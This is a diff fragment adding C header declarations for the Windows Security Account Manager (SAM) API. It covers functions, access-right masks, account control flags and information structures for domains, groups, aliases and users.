+NTSTATUS +NTAPI +SamLookupDomainInSamServer( + _In_ SAM_HANDLE ServerHandle, + _In_ PUNICODE_STRING Name, + _Outptr_ PSID *DomainId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamEnumerateDomainsInSamServer( + _In_ SAM_HANDLE ServerHandle, + _Inout_ PSAM_ENUMERATE_HANDLE EnumerationContext, + _Outptr_ PVOID *Buffer, // PSAM_SID_ENUMERATION *Buffer + _In_ ULONG PreferedMaximumLength, + _Out_ PULONG CountReturned + ); + +_Check_return_ +NTSTATUS +NTAPI +SamOpenDomain( + _In_ SAM_HANDLE ServerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ PSID DomainId, + _Out_ PSAM_HANDLE DomainHandle + ); + +_Check_return_ +NTSTATUS +NTAPI +SamQueryInformationDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ DOMAIN_INFORMATION_CLASS DomainInformationClass, + _Outptr_ PVOID *Buffer + ); + +_Check_return_ +NTSTATUS +NTAPI +SamSetInformationDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ DOMAIN_INFORMATION_CLASS DomainInformationClass, + _In_ PVOID DomainInformation + ); + +_Check_return_ +NTSTATUS +NTAPI +SamLookupNamesInDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ ULONG Count, + _In_reads_(Count) PUNICODE_STRING Names, + _Out_ _Deref_post_count_(Count) PULONG *RelativeIds, + _Out_ _Deref_post_count_(Count) PSID_NAME_USE *Use + ); + +_Check_return_ +NTSTATUS +NTAPI +SamLookupIdsInDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ ULONG Count, + _In_reads_(Count) PULONG RelativeIds, + _Out_ _Deref_post_count_(Count) PUNICODE_STRING *Names, + _Out_ _Deref_post_opt_count_(Count) PSID_NAME_USE *Use + ); + +_Check_return_ +NTSTATUS +NTAPI +SamRemoveMemberFromForeignDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ PSID MemberId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamQueryLocalizableAccountsInDomain( + _In_ SAM_HANDLE Domain, + _In_ ULONG Flags, + _In_ ULONG LanguageId, + _In_ DOMAIN_LOCALIZABLE_ACCOUNTS_INFORMATION Class, + _Outptr_ PVOID *Buffer + ); + +// Group + +#define GROUP_READ_INFORMATION 0x0001 +#define GROUP_WRITE_ACCOUNT 0x0002 +#define GROUP_ADD_MEMBER 0x0004 +#define GROUP_REMOVE_MEMBER 0x0008 +#define GROUP_LIST_MEMBERS 0x0010 + +#define GROUP_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + GROUP_LIST_MEMBERS | \ + GROUP_WRITE_ACCOUNT | \ + GROUP_ADD_MEMBER | \ + GROUP_REMOVE_MEMBER | \ + GROUP_READ_INFORMATION) + +#define GROUP_READ (STANDARD_RIGHTS_READ | \ + GROUP_LIST_MEMBERS) + +#define GROUP_WRITE (STANDARD_RIGHTS_WRITE | \ + GROUP_WRITE_ACCOUNT | \ + GROUP_ADD_MEMBER | \ + GROUP_REMOVE_MEMBER) + +#define GROUP_EXECUTE (STANDARD_RIGHTS_EXECUTE | \ + GROUP_READ_INFORMATION) + +typedef struct _GROUP_MEMBERSHIP +{ + ULONG RelativeId; + ULONG Attributes; +} GROUP_MEMBERSHIP, *PGROUP_MEMBERSHIP; + +// SamQueryInformationGroup/SamSetInformationGroup types + +typedef enum _GROUP_INFORMATION_CLASS +{ + GroupGeneralInformation = 1, + GroupNameInformation, + GroupAttributeInformation, + GroupAdminCommentInformation, + GroupReplicationInformation +} GROUP_INFORMATION_CLASS; + +typedef struct _GROUP_GENERAL_INFORMATION +{ + UNICODE_STRING Name; + ULONG Attributes; + ULONG MemberCount; + UNICODE_STRING AdminComment; +} GROUP_GENERAL_INFORMATION, *PGROUP_GENERAL_INFORMATION; + +typedef struct _GROUP_NAME_INFORMATION +{ + UNICODE_STRING Name; +} GROUP_NAME_INFORMATION, *PGROUP_NAME_INFORMATION; + +typedef struct _GROUP_ATTRIBUTE_INFORMATION +{ + ULONG Attributes; +} GROUP_ATTRIBUTE_INFORMATION, *PGROUP_ATTRIBUTE_INFORMATION; + +typedef struct _GROUP_ADM_COMMENT_INFORMATION +{ + UNICODE_STRING AdminComment; +} GROUP_ADM_COMMENT_INFORMATION, *PGROUP_ADM_COMMENT_INFORMATION; + +// Functions + +_Check_return_ +NTSTATUS +NTAPI +SamEnumerateGroupsInDomain( + _In_ SAM_HANDLE DomainHandle, + _Inout_ PSAM_ENUMERATE_HANDLE EnumerationContext, + _Outptr_ PVOID *Buffer, // PSAM_RID_ENUMERATION * + _In_ ULONG PreferedMaximumLength, + _Out_ PULONG CountReturned + ); + +_Check_return_ +NTSTATUS +NTAPI +SamCreateGroupInDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ PUNICODE_STRING AccountName, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PSAM_HANDLE GroupHandle, + _Out_ PULONG RelativeId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamOpenGroup( + _In_ SAM_HANDLE DomainHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG GroupId, + _Out_ PSAM_HANDLE GroupHandle + ); + +_Check_return_ +NTSTATUS +NTAPI +SamDeleteGroup( + _In_ SAM_HANDLE GroupHandle + ); + +_Check_return_ +NTSTATUS +NTAPI +SamQueryInformationGroup( + _In_ SAM_HANDLE GroupHandle, + _In_ GROUP_INFORMATION_CLASS GroupInformationClass, + _Outptr_ PVOID *Buffer + ); + +_Check_return_ +NTSTATUS +NTAPI +SamSetInformationGroup( + _In_ SAM_HANDLE GroupHandle, + _In_ GROUP_INFORMATION_CLASS GroupInformationClass, + _In_ PVOID Buffer + ); + +_Check_return_ +NTSTATUS +NTAPI +SamAddMemberToGroup( + _In_ SAM_HANDLE GroupHandle, + _In_ ULONG MemberId, + _In_ ULONG Attributes + ); + +_Check_return_ +NTSTATUS +NTAPI +SamRemoveMemberFromGroup( + _In_ SAM_HANDLE GroupHandle, + _In_ ULONG MemberId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamGetMembersInGroup( + _In_ SAM_HANDLE GroupHandle, + _Out_ _Deref_post_count_(*MemberCount) PULONG *MemberIds, + _Out_ _Deref_post_count_(*MemberCount) PULONG *Attributes, + _Out_ PULONG MemberCount + ); + +_Check_return_ +NTSTATUS +NTAPI +SamSetMemberAttributesOfGroup( + _In_ SAM_HANDLE GroupHandle, + _In_ ULONG MemberId, + _In_ ULONG Attributes + ); + +// Alias + +#define ALIAS_ADD_MEMBER 0x0001 +#define ALIAS_REMOVE_MEMBER 0x0002 +#define ALIAS_LIST_MEMBERS 0x0004 +#define ALIAS_READ_INFORMATION 0x0008 +#define ALIAS_WRITE_ACCOUNT 0x0010 + +#define ALIAS_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + ALIAS_READ_INFORMATION | \ + ALIAS_WRITE_ACCOUNT | \ + ALIAS_LIST_MEMBERS | \ + ALIAS_ADD_MEMBER | \ + ALIAS_REMOVE_MEMBER) + +#define ALIAS_READ (STANDARD_RIGHTS_READ | \ + ALIAS_LIST_MEMBERS) + +#define ALIAS_WRITE (STANDARD_RIGHTS_WRITE | \ + ALIAS_WRITE_ACCOUNT | \ + ALIAS_ADD_MEMBER | \ + ALIAS_REMOVE_MEMBER) + +#define ALIAS_EXECUTE (STANDARD_RIGHTS_EXECUTE | \ + ALIAS_READ_INFORMATION) + +// SamQueryInformationAlias/SamSetInformationAlias types + +typedef enum _ALIAS_INFORMATION_CLASS +{ + AliasGeneralInformation = 1, + AliasNameInformation, + AliasAdminCommentInformation, + AliasReplicationInformation, + AliasExtendedInformation, +} ALIAS_INFORMATION_CLASS; + +typedef struct _ALIAS_GENERAL_INFORMATION +{ + UNICODE_STRING Name; + ULONG MemberCount; + UNICODE_STRING AdminComment; +} ALIAS_GENERAL_INFORMATION, *PALIAS_GENERAL_INFORMATION; + +typedef struct _ALIAS_NAME_INFORMATION +{ + UNICODE_STRING Name; +} ALIAS_NAME_INFORMATION, *PALIAS_NAME_INFORMATION; + +typedef struct _ALIAS_ADM_COMMENT_INFORMATION +{ + UNICODE_STRING AdminComment; +} ALIAS_ADM_COMMENT_INFORMATION, *PALIAS_ADM_COMMENT_INFORMATION; + +#define ALIAS_ALL_NAME (0x00000001L) +#define ALIAS_ALL_MEMBER_COUNT (0x00000002L) +#define ALIAS_ALL_ADMIN_COMMENT (0x00000004L) +#define ALIAS_ALL_SHELL_ADMIN_OBJECT_PROPERTIES (0x00000008L) + +typedef struct _ALIAS_EXTENDED_INFORMATION +{ + ULONG WhichFields; + SAM_SHELL_OBJECT_PROPERTIES ShellAdminObjectProperties; +} ALIAS_EXTENDED_INFORMATION, *PALIAS_EXTENDED_INFORMATION; + +// Functions + +_Check_return_ +NTSTATUS +NTAPI +SamEnumerateAliasesInDomain( + _In_ SAM_HANDLE DomainHandle, + _Inout_ PSAM_ENUMERATE_HANDLE EnumerationContext, + _Outptr_ PVOID *Buffer, // PSAM_RID_ENUMERATION *Buffer + _In_ ULONG PreferedMaximumLength, + _Out_ PULONG CountReturned + ); + +_Check_return_ +NTSTATUS +NTAPI +SamCreateAliasInDomain( + _In_ SAM_HANDLE DomainHandle, + _In_ PUNICODE_STRING AccountName, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PSAM_HANDLE AliasHandle, + _Out_ PULONG RelativeId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamOpenAlias( + _In_ SAM_HANDLE DomainHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG AliasId, + _Out_ PSAM_HANDLE AliasHandle + ); + +_Check_return_ +NTSTATUS +NTAPI +SamDeleteAlias( + _In_ SAM_HANDLE AliasHandle + ); + +_Check_return_ +NTSTATUS +NTAPI +SamQueryInformationAlias( + _In_ SAM_HANDLE AliasHandle, + _In_ ALIAS_INFORMATION_CLASS AliasInformationClass, + _Outptr_ PVOID *Buffer + ); + +_Check_return_ +NTSTATUS +NTAPI +SamSetInformationAlias( + _In_ SAM_HANDLE AliasHandle, + _In_ ALIAS_INFORMATION_CLASS AliasInformationClass, + _In_ PVOID Buffer + ); + +_Check_return_ +NTSTATUS +NTAPI +SamAddMemberToAlias( + _In_ SAM_HANDLE AliasHandle, + _In_ PSID MemberId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamAddMultipleMembersToAlias( + _In_ SAM_HANDLE AliasHandle, + _In_reads_(MemberCount) PSID *MemberIds, + _In_ ULONG MemberCount + ); + +_Check_return_ +NTSTATUS +NTAPI +SamRemoveMemberFromAlias( + _In_ SAM_HANDLE AliasHandle, + _In_ PSID MemberId + ); + +_Check_return_ +NTSTATUS +NTAPI +SamRemoveMultipleMembersFromAlias( + _In_ SAM_HANDLE AliasHandle, + _In_reads_(MemberCount) PSID *MemberIds, + _In_ ULONG MemberCount + ); + +_Check_return_ +NTSTATUS +NTAPI +SamGetMembersInAlias( + _In_ SAM_HANDLE AliasHandle, + _Out_ _Deref_post_count_(*MemberCount) PSID **MemberIds, + _Out_ PULONG MemberCount + ); + +_Check_return_ +NTSTATUS +NTAPI +SamGetAliasMembership( + _In_ SAM_HANDLE DomainHandle, + _In_ ULONG PassedCount, + _In_reads_(PassedCount) PSID *Sids, + _Out_ PULONG MembershipCount, + _Out_ _Deref_post_count_(*MembershipCount) PULONG *Aliases + ); + +// Group types + +#define GROUP_TYPE_BUILTIN_LOCAL_GROUP 0x00000001 +#define GROUP_TYPE_ACCOUNT_GROUP 0x00000002 +#define GROUP_TYPE_RESOURCE_GROUP 0x00000004 +#define GROUP_TYPE_UNIVERSAL_GROUP 0x00000008 +#define GROUP_TYPE_APP_BASIC_GROUP 0x00000010 +#define GROUP_TYPE_APP_QUERY_GROUP 0x00000020 +#define GROUP_TYPE_SECURITY_ENABLED 0x80000000 + +#define GROUP_TYPE_RESOURCE_BEHAVOIR (GROUP_TYPE_RESOURCE_GROUP | \ + GROUP_TYPE_APP_BASIC_GROUP | \ + GROUP_TYPE_APP_QUERY_GROUP) + +// User + +#define USER_READ_GENERAL 0x0001 +#define USER_READ_PREFERENCES 0x0002 +#define USER_WRITE_PREFERENCES 0x0004 +#define USER_READ_LOGON 0x0008 +#define USER_READ_ACCOUNT 0x0010 +#define USER_WRITE_ACCOUNT 0x0020 +#define USER_CHANGE_PASSWORD 0x0040 +#define USER_FORCE_PASSWORD_CHANGE 0x0080 +#define USER_LIST_GROUPS 0x0100 +#define USER_READ_GROUP_INFORMATION 0x0200 +#define USER_WRITE_GROUP_INFORMATION 0x0400 + +#define USER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + USER_READ_PREFERENCES | \ + USER_READ_LOGON | \ + USER_LIST_GROUPS | \ + USER_READ_GROUP_INFORMATION | \ + USER_WRITE_PREFERENCES | \ + USER_CHANGE_PASSWORD | \ + USER_FORCE_PASSWORD_CHANGE | \ + USER_READ_GENERAL | \ + USER_READ_ACCOUNT | \ + USER_WRITE_ACCOUNT | \ + USER_WRITE_GROUP_INFORMATION) + +#define USER_READ (STANDARD_RIGHTS_READ | \ + USER_READ_PREFERENCES | \ + USER_READ_LOGON | \ + USER_READ_ACCOUNT | \ + USER_LIST_GROUPS | \ + USER_READ_GROUP_INFORMATION) + +#define USER_WRITE (STANDARD_RIGHTS_WRITE | \ + USER_WRITE_PREFERENCES | \ + USER_CHANGE_PASSWORD) + +#define USER_EXECUTE (STANDARD_RIGHTS_EXECUTE | \ + USER_READ_GENERAL | \ + USER_CHANGE_PASSWORD) + +// User account control flags + +#define USER_ACCOUNT_DISABLED (0x00000001) +#define USER_HOME_DIRECTORY_REQUIRED (0x00000002) +#define USER_PASSWORD_NOT_REQUIRED (0x00000004) +#define USER_TEMP_DUPLICATE_ACCOUNT (0x00000008) +#define USER_NORMAL_ACCOUNT (0x00000010) +#define USER_MNS_LOGON_ACCOUNT (0x00000020) +#define USER_INTERDOMAIN_TRUST_ACCOUNT (0x00000040) +#define USER_WORKSTATION_TRUST_ACCOUNT (0x00000080) +#define USER_SERVER_TRUST_ACCOUNT (0x00000100) +#define USER_DONT_EXPIRE_PASSWORD (0x00000200) +#define USER_ACCOUNT_AUTO_LOCKED (0x00000400) +#define USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000800) +#define USER_SMARTCARD_REQUIRED (0x00001000) +#define USER_TRUSTED_FOR_DELEGATION (0x00002000) +#define USER_NOT_DELEGATED (0x00004000) +#define USER_USE_DES_KEY_ONLY (0x00008000) +#define USER_DONT_REQUIRE_PREAUTH (0x00010000) +#define USER_PASSWORD_EXPIRED (0x00020000) +#define USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (0x00040000) +#define USER_NO_AUTH_DATA_REQUIRED (0x00080000) +#define USER_PARTIAL_SECRETS_ACCOUNT (0x00100000) +#define USER_USE_AES_KEYS (0x00200000) // not used + +#define NEXT_FREE_ACCOUNT_CONTROL_BIT (USER_USE_AES_KEYS << 1) + +#define USER_MACHINE_ACCOUNT_MASK ( \ + USER_INTERDOMAIN_TRUST_ACCOUNT | \ + USER_WORKSTATION_TRUST_ACCOUNT | \ + USER_SERVER_TRUST_ACCOUNT \ + ) + +#define USER_ACCOUNT_TYPE_MASK ( \ + USER_TEMP_DUPLICATE_ACCOUNT | \ + USER_NORMAL_ACCOUNT | \ + USER_MACHINE_ACCOUNT_MASK \ + ) + +#define USER_COMPUTED_ACCOUNT_CONTROL_BITS ( \ + USER_ACCOUNT_AUTO_LOCKED | \ + USER_PASSWORD_EXPIRED \ + ) + +// Logon times may be expressed in day, hour, or minute granularity. + +#define SAM_DAYS_PER_WEEK (7) +#define SAM_HOURS_PER_WEEK (24 * SAM_DAYS_PER_WEEK) +#define SAM_MINUTES_PER_WEEK (60 * SAM_HOURS_PER_WEEK) + +typedef struct _LOGON_HOURS +{ + USHORT UnitsPerWeek; + + // UnitsPerWeek is the number of equal length time units the week is + // divided into. This value is used to compute the length of the bit + // string in logon_hours. Must be less than or equal to + // SAM_UNITS_PER_WEEK (10080) for this release. + // + // LogonHours is a bit map of valid logon times. Each bit represents + // a unique division in a week. The largest bit map supported is 1260 + // bytes (10080 bits), which represents minutes per week. In this case + // the first bit (bit 0, byte 0) is Sunday, 00:00:00 - 00-00:59; bit 1, + // byte 0 is Sunday, 00:01:00 - 00:01:59, etc. A NULL pointer means + // DONT_CHANGE for SamSetInformationUser() calls. + + PUCHAR LogonHours; +} LOGON_HOURS, *PLOGON_HOURS; + +typedef struct _SR_SECURITY_DESCRIPTOR +{ + ULONG Length; + PUCHAR SecurityDescriptor; +} SR_SECURITY_DESCRIPTOR, *PSR_SECURITY_DESCRIPTOR; + +// SamQueryInformationUser/SamSetInformationUser types + +typedef enum _USER_INFORMATION_CLASS +{ + UserGeneralInformation = 1, // USER_GENERAL_INFORMATION + UserPreferencesInformation, // USER_PREFERENCES_INFORMATION + UserLogonInformation, // USER_LOGON_INFORMATION + UserLogonHoursInformation, // USER_LOGON_HOURS_INFORMATION + UserAccountInformation, // USER_ACCOUNT_INFORMATION + UserNameInformation, // USER_NAME_INFORMATION + UserAccountNameInformation, // USER_ACCOUNT_NAME_INFORMATION + UserFullNameInformation, // USER_FULL_NAME_INFORMATION + UserPrimaryGroupInformation, // USER_PRIMARY_GROUP_INFORMATION + UserHomeInformation, // USER_HOME_INFORMATION + UserScriptInformation, // USER_SCRIPT_INFORMATION + UserProfileInformation, // USER_PROFILE_INFORMATION + UserAdminCommentInformation, // USER_ADMIN_COMMENT_INFORMATION + UserWorkStationsInformation, // USER_WORKSTATIONS_INFORMATION + UserSetPasswordInformation, // USER_SET_PASSWORD_INFORMATION + UserControlInformation, // USER_CONTROL_INFORMATION + UserExpiresInformation, // USER_EXPIRES_INFORMATION + UserInternal1Information, + UserInternal2Information, + UserParametersInformation, // USER_PARAMETERS_INFORMATION + UserAllInformation, // USER_ALL_INFORMATION + UserInternal3Information, + UserInternal4Information, + UserInternal5Information, + UserInternal4InformationNew, + UserInternal5InformationNew, + UserInternal6Information, + UserExtendedInformation, // USER_EXTENDED_INFORMATION + UserLogonUIInformation // USER_LOGON_UI_INFORMATION +} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS; + +typedef struct _USER_GENERAL_INFORMATION +{ + UNICODE_STRING UserName; + UNICODE_STRING FullName; + ULONG PrimaryGroupId; + UNICODE_STRING AdminComment; + UNICODE_STRING UserComment; +} USER_GENERAL_INFORMATION, *PUSER_GENERAL_INFORMATION; + +typedef struct _USER_PREFERENCES_INFORMATION +{ + UNICODE_STRING UserComment; + UNICODE_STRING Reserved1; + USHORT CountryCode; + USHORT CodePage; +} USER_PREFERENCES_INFORMATION, *PUSER_PREFERENCES_INFORMATION; + +#include +typedef struct _USER_LOGON_INFORMATION +{ + UNICODE_STRING UserName; + UNICODE_STRING FullName; + ULONG UserId; + ULONG PrimaryGroupId; + UNICODE_STRING HomeDirectory; + UNICODE_STRING HomeDirectoryDrive; + UNICODE_STRING ScriptPath; + UNICODE_STRING ProfilePath; + UNICODE_STRING WorkStations; + LARGE_INTEGER LastLogon; + LARGE_INTEGER LastLogoff; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + LOGON_HOURS LogonHours; + USHORT BadPasswordCount; + USHORT LogonCount; + ULONG UserAccountControl; +} USER_LOGON_INFORMATION, * PUSER_LOGON_INFORMATION; +#include + +typedef struct _USER_LOGON_HOURS_INFORMATION +{ + LOGON_HOURS LogonHours; +} USER_LOGON_HOURS_INFORMATION, * PUSER_LOGON_HOURS_INFORMATION; + +#include +typedef struct _USER_ACCOUNT_INFORMATION +{ + UNICODE_STRING UserName; + UNICODE_STRING FullName; + ULONG UserId; + ULONG PrimaryGroupId; + UNICODE_STRING HomeDirectory; + UNICODE_STRING HomeDirectoryDrive; + UNICODE_STRING ScriptPath; + UNICODE_STRING ProfilePath; + UNICODE_STRING AdminComment; + UNICODE_STRING WorkStations; + LARGE_INTEGER LastLogon; + LARGE_INTEGER LastLogoff; + LOGON_HOURS LogonHours; + USHORT BadPasswordCount; + USHORT LogonCount; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER AccountExpires; + ULONG UserAccountControl; +} USER_ACCOUNT_INFORMATION, * PUSER_ACCOUNT_INFORMATION; +#include + +typedef struct _USER_NAME_INFORMATION +{ + UNICODE_STRING UserName; + UNICODE_STRING FullName; +} USER_NAME_INFORMATION, *PUSER_NAME_INFORMATION; + +typedef struct _USER_ACCOUNT_NAME_INFORMATION +{ + UNICODE_STRING UserName; +} USER_ACCOUNT_NAME_INFORMATION, *PUSER_ACCOUNT_NAME_INFORMATION; + +typedef struct _USER_FULL_NAME_INFORMATION +{ + UNICODE_STRING FullName; +} USER_FULL_NAME_INFORMATION, *PUSER_FULL_NAME_INFORMATION; + +typedef struct _USER_PRIMARY_GROUP_INFORMATION +{ + ULONG PrimaryGroupId; +} USER_PRIMARY_GROUP_INFORMATION, *PUSER_PRIMARY_GROUP_INFORMATION; + +typedef struct _USER_HOME_INFORMATION +{ + UNICODE_STRING HomeDirectory; + UNICODE_STRING HomeDirectoryDrive; +} USER_HOME_INFORMATION, *PUSER_HOME_INFORMATION; + +typedef struct _USER_SCRIPT_INFORMATION +{ + UNICODE_STRING ScriptPath; +} USER_SCRIPT_INFORMATION, *PUSER_SCRIPT_INFORMATION; + +typedef struct _USER_PROFILE_INFORMATION +{ + UNICODE_STRING ProfilePath; +} USER_PROFILE_INFORMATION, *PUSER_PROFILE_INFORMATION; + +typedef struct _USER_ADMIN_COMMENT_INFORMATION +{ + UNICODE_STRING AdminComment; +} USER_ADMIN_COMMENT_INFORMATION, *PUSER_ADMIN_COMMENT_INFORMATION; + +typedef struct _USER_WORKSTATIONS_INFORMATION +{ + UNICODE_STRING WorkStations; +} USER_WORKSTATIONS_INFORMATION, *PUSER_WORKSTATIONS_INFORMATION; + +typedef struct _USER_SET_PASSWORD_INFORMATION +{ + UNICODE_STRING Password; + BOOLEAN PasswordExpired; +} USER_SET_PASSWORD_INFORMATION, *PUSER_SET_PASSWORD_INFORMATION; + +typedef struct _USER_CONTROL_INFORMATION +{ + ULONG UserAccountControl; +} USER_CONTROL_INFORMATION, *PUSER_CONTROL_INFORMATION; + +typedef struct _USER_EXPIRES_INFORMATION +{ + LARGE_INTEGER AccountExpires; +} USER_EXPIRES_INFORMATION, *PUSER_EXPIRES_INFORMATION; + +typedef struct _USER_PARAMETERS_INFORMATION +{ + UNICODE_STRING Parameters; +} USER_PARAMETERS_INFORMATION, *PUSER_PARAMETERS_INFORMATION; + +// Flags for WhichFields in USER_ALL_INFORMATION + +#define USER_ALL_USERNAME 0x00000001 +#define USER_ALL_FULLNAME 0x00000002 +#define USER_ALL_USERID 0x00000004 +#define USER_ALL_PRIMARYGROUPID 0x00000008 +#define USER_ALL_ADMINCOMMENT 0x00000010 +#define USER_ALL_USERCOMMENT 0x00000020 +#define USER_ALL_HOMEDIRECTORY 0x00000040 +#define USER_ALL_HOMEDIRECTORYDRIVE 0x00000080 +#define USER_ALL_SCRIPTPATH 0x00000100 +#define USER_ALL_PROFILEPATH 0x00000200 +#define USER_ALL_WORKSTATIONS 0x00000400 +#define USER_ALL_LASTLOGON 0x00000800 +#define USER_ALL_LASTLOGOFF 0x00001000 +#define USER_ALL_LOGONHOURS 0x00002000 +#define USER_ALL_BADPASSWORDCOUNT 0x00004000 +#define USER_ALL_LOGONCOUNT 0x00008000 +#define USER_ALL_PASSWORDCANCHANGE 0x00010000 +#define USER_ALL_PASSWORDMUSTCHANGE 0x00020000 +#define USER_ALL_PASSWORDLASTSET 0x00040000 +#define USER_ALL_ACCOUNTEXPIRES 0x00080000 +#define USER_ALL_USERACCOUNTCONTROL 0x00100000 +#define USER_ALL_PARAMETERS 0x00200000 +#define USER_ALL_COUNTRYCODE 0x00400000 +#define USER_ALL_CODEPAGE 0x00800000 +#define USER_ALL_NTPASSWORDPRESENT 0x01000000 // field AND boolean +#define USER_ALL_LMPASSWORDPRESENT 0x02000000 // field AND boolean +#define USER_ALL_PRIVATEDATA 0x04000000 // field AND boolean +#define USER_ALL_PASSWORDEXPIRED 0x08000000 +#define USER_ALL_SECURITYDESCRIPTOR 0x10000000 +#define USER_ALL_OWFPASSWORD 0x20000000 // boolean + +#define USER_ALL_UNDEFINED_MASK 0xc0000000 + +// Fields that require USER_READ_GENERAL access to read. + +#define USER_ALL_READ_GENERAL_MASK \ + (USER_ALL_USERNAME | \ + USER_ALL_FULLNAME | \ + USER_ALL_USERID | \ + USER_ALL_PRIMARYGROUPID | \ + USER_ALL_ADMINCOMMENT | \ + USER_ALL_USERCOMMENT) + +// Fields that require USER_READ_LOGON access to read. + +#define USER_ALL_READ_LOGON_MASK \ + (USER_ALL_HOMEDIRECTORY | \ + USER_ALL_HOMEDIRECTORYDRIVE | \ + USER_ALL_SCRIPTPATH | \ + USER_ALL_PROFILEPATH | \ + USER_ALL_WORKSTATIONS | \ + USER_ALL_LASTLOGON | \ + USER_ALL_LASTLOGOFF | \ + USER_ALL_LOGONHOURS | \ + USER_ALL_BADPASSWORDCOUNT | \ + USER_ALL_LOGONCOUNT | \ + USER_ALL_PASSWORDCANCHANGE | \ + USER_ALL_PASSWORDMUSTCHANGE) + +// Fields that require USER_READ_ACCOUNT access to read. + +#define USER_ALL_READ_ACCOUNT_MASK \ + (USER_ALL_PASSWORDLASTSET | \ + USER_ALL_ACCOUNTEXPIRES | \ + USER_ALL_USERACCOUNTCONTROL | \ + USER_ALL_PARAMETERS) + +// Fields that require USER_READ_PREFERENCES access to read. + +#define USER_ALL_READ_PREFERENCES_MASK \ + (USER_ALL_COUNTRYCODE | USER_ALL_CODEPAGE) + +// Fields that can only be read by trusted clients. + +#define USER_ALL_READ_TRUSTED_MASK \ + (USER_ALL_NTPASSWORDPRESENT | \ + USER_ALL_LMPASSWORDPRESENT | \ + USER_ALL_PASSWORDEXPIRED | \ + USER_ALL_SECURITYDESCRIPTOR | \ + USER_ALL_PRIVATEDATA) + +// Fields that can't be read. + +#define USER_ALL_READ_CANT_MASK USER_ALL_UNDEFINED_MASK + +// Fields that require USER_WRITE_ACCOUNT access to write. + +#define USER_ALL_WRITE_ACCOUNT_MASK \ + (USER_ALL_USERNAME | \ + USER_ALL_FULLNAME | \ + USER_ALL_PRIMARYGROUPID | \ + USER_ALL_HOMEDIRECTORY | \ + USER_ALL_HOMEDIRECTORYDRIVE | \ + USER_ALL_SCRIPTPATH | \ + USER_ALL_PROFILEPATH | \ + USER_ALL_ADMINCOMMENT | \ + USER_ALL_WORKSTATIONS | \ + USER_ALL_LOGONHOURS | \ + USER_ALL_ACCOUNTEXPIRES | \ + USER_ALL_USERACCOUNTCONTROL | \ + USER_ALL_PARAMETERS) + +// Fields that require USER_WRITE_PREFERENCES access to write. + +#define USER_ALL_WRITE_PREFERENCES_MASK \ + (USER_ALL_USERCOMMENT | USER_ALL_COUNTRYCODE | USER_ALL_CODEPAGE) + +// Fields that require USER_FORCE_PASSWORD_CHANGE access to write. +// +// Note that non-trusted clients only set the NT password as a +// UNICODE string. The wrapper will convert it to an LM password, +// OWF and encrypt both versions. Trusted clients can pass in OWF +// versions of either or both. + +#define USER_ALL_WRITE_FORCE_PASSWORD_CHANGE_MASK \ + (USER_ALL_NTPASSWORDPRESENT | \ + USER_ALL_LMPASSWORDPRESENT | \ + USER_ALL_PASSWORDEXPIRED) + +// Fields that can only be written by trusted clients. + +#define USER_ALL_WRITE_TRUSTED_MASK \ + (USER_ALL_LASTLOGON | \ + USER_ALL_LASTLOGOFF | \ + USER_ALL_BADPASSWORDCOUNT | \ + USER_ALL_LOGONCOUNT | \ + USER_ALL_PASSWORDLASTSET | \ + USER_ALL_SECURITYDESCRIPTOR | \ + USER_ALL_PRIVATEDATA) + +// Fields that can't be written. + +#define USER_ALL_WRITE_CANT_MASK \ + (USER_ALL_USERID | \ + USER_ALL_PASSWORDCANCHANGE | \ + USER_ALL_PASSWORDMUSTCHANGE | \ + USER_ALL_UNDEFINED_MASK) + +#include +typedef struct _USER_ALL_INFORMATION +{ + LARGE_INTEGER LastLogon; + LARGE_INTEGER LastLogoff; + LARGE_INTEGER PasswordLastSet; + LARGE_INTEGER AccountExpires; + LARGE_INTEGER PasswordCanChange; + LARGE_INTEGER PasswordMustChange; + UNICODE_STRING UserName; + UNICODE_STRING FullName; + UNICODE_STRING HomeDirectory; + UNICODE_STRING HomeDirectoryDrive; + UNICODE_STRING ScriptPath; + UNICODE_STRING ProfilePath; + UNICODE_STRING AdminComment; + UNICODE_STRING WorkStations; + UNICODE_STRING UserComment; + UNICODE_STRING Parameters; + UNICODE_STRING LmPassword; + UNICODE_STRING NtPassword; + UNICODE_STRING PrivateData; + SR_SECURITY_DESCRIPTOR SecurityDescriptor; + ULONG UserId; + ULONG PrimaryGroupId; + ULONG UserAccountControl; + ULONG WhichFields; + LOGON_HOURS LogonHours; + USHORT BadPasswordCount; + USHORT LogonCount; + USHORT CountryCode; + USHORT CodePage; + BOOLEAN LmPasswordPresent; + BOOLEAN NtPasswordPresent; + BOOLEAN PasswordExpired; + BOOLEAN PrivateDataSensitive; +} USER_ALL_INFORMATION, *PUSER_ALL_INFORMATION; +#include + +typedef SAM_BYTE_ARRAY_32K SAM_USER_TILE, *PSAM_USER_TILE; + +// 0xff000fff is reserved for internal callers and implementation. + +#define USER_EXTENDED_FIELD_USER_TILE (0x00001000L) +#define USER_EXTENDED_FIELD_PASSWORD_HINT (0x00002000L) +#define USER_EXTENDED_FIELD_DONT_SHOW_IN_LOGON_UI (0x00004000L) +#define USER_EXTENDED_FIELD_SHELL_ADMIN_OBJECT_PROPERTIES (0x00008000L) 